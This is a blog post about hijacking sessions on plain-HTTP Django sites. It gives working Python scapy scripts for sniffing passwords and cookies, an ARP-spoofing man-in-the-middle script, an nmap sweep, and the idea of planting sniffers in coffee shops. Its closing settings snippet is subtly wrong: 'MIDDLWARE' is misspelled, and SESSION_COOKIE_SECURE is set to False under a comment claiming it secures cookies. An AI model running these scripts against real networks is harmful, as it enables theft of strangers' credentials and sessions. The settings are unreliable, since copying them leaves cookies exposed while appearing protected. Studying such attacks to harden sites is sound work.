Hacking Django websites: stealing cookies & passwords with packet sniffing
Tags: django, python, security, webdev
Published: 2020-12-16 11:57:21

Stealing credentials and session cookies is easy if the following conditions are met:
 - The target user is on the same network as the attacker
 - The target website is accepting HTTP connections

For example:
{% youtube cuIjLOH2scU %}

_Ready for a Django security challenge? Play our [Django security challenge](https://django.doctor/challenge/settings-security)._

The website in the example runs completely on HTTP connection (including the login form). This allows the following packet sniffing code read the requests using [scapy](pypi.org/project/scapy):

```py
# e.g, ./packet_snif --interface=wlp3s0 
import argparse

import scapy.all as scapy
from scapy.layers import http


parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface")
arguments = parser.parse_args()


def process(packet):
    if packet.haslayer(http.HTTPRequest):
        if packet.haslayer(scapy.Raw):
            keys = ["username", "password", "pass", "email"]
            if any(key in packet[scapy.Raw].load for key in keys):
                print(packet[scapy.Raw].load)
        print(packet[http.HTTPRequest].fields.get('Cookie'))



scapy.sniff(iface=arguments.interface, store=False, prn=process)
```


The usefulness of this specific attack alone is limited as it relies on the target user being on the same machine as the packet sniffer. However, a [Man In The Middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) will solve that:

```py
# e.g., ./arp_spoof.py --interface=wlp3s0 --target=192.168.1.13 --gateway=192.168.1.12

import argparse
import time
import sys

import scapy.all as scapy


parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", help="Specify target ip")
parser.add_argument("-g", "--gateway", dest="gateway", help="Specify spoof ip")
parser.add_argument("-i", "--interface", dest="interface", help="Specify interface")


def get_mac(ip):
    scapy.conf.verb = 0
    packet = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")/scapy.ARP(pdst=ip)
    ans, unans = scapy.srp(packet, timeout=2, iface=arguments.interface, inter=0.1)
    for snd, rcv in ans:
        return rcv.sprintf(r"%Ether.src%")


def restore(destination_ip, source_ip):
    packet = scapy.ARP(
        op=2,
        pdst=destination_ip,
        hwdst=get_mac(destination_ip),
        psrc=source_ip,
        hwsrc=get_mac(source_ip),
    )
    scapy.send(packet, 4)


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


arguments = parser.parse_args()


try:
    while True:
        spoof(arguments.target, arguments.gateway)
        spoof(arguments.gateway, arguments.target)
        sys.stdout.flush()
        time.sleep(2)

except KeyboardInterrupt:
    restore(arguments.target,arguments.gateway)
    restore(arguments.gateway, arguments.target)
```

This makes the target machine's traffic route through the attacker's machine, so the victim's packets can be read by `packet_sniffer.py`.

Retrieving the target's IP address is as simple as running [nmap](https://nmap.org/) by pointing it at the IP address of the router everyone is connected to:

```sh
sudo nmap -sn 192.168.1.0/24  # get the router IP from ifconfig
```

Another orchestration script could make the entire thing easier:
 - loop over the connected devices reported by nmap
 - call arp_spoof.py for each one

The attacker might be in situ sat in the coffee shop across the room form the victim. Maybe the attack is even more organized and has stashed a raspberry pi in a few coffee shops and will retrieve them at the end of the day. What are the odds someone has connected to a HTTP connection over that time? Their session cookie would be compromised. What are the odds the user reused their password on other sites? To all these the answer is certainly non-zero.

### Prevention
Users can avoid connecting to networks they do not trust, but convenience is attractive and coffee shops offer free WiFi, so they are the perfect honey trap.

Websites are better placed to prevent this type of attack by:
 - Redirecting [HTTP to HTTPS connections](https://docs.djangoproject.com/en/3.1/ref/middleware/#module-django.middleware.security)
 - Ensuring their session cookies cannot [transfers over HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Restrict_access_to_cookies), because cookies over HTTPS are encrypted and cannot be read my the MITM
 - Prevent the browser from [even trying to use HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)

Concretely with Django this is achieved with the following settings:
```py
MIDDLWARE = [
    "django.middleware.security.SecurityMiddleware",
     ...
]

SECURE_HSTS_SECONDS = 31536000  # 1 year. Prevent browser attempting HTTP
SECURE_HSTS_INCLUDE_SUBDOMAINS = True  # protect subdomains too
SECURE_SSL_REDIRECT = True  # redirect HTTP to HTTPS
SESSION_COOKIE_SECURE = False # set secure on cookies

```

### Does your website have security vulnerabilities?

Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at [django.doctor](https://django.doctor), or can [review your GitHub PRs](https://github.com/marketplace/django-doctor/):

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/d10epulva9d373jgldhu.png)

Or try out [Django refactor challenges](https://django.doctor/challenge).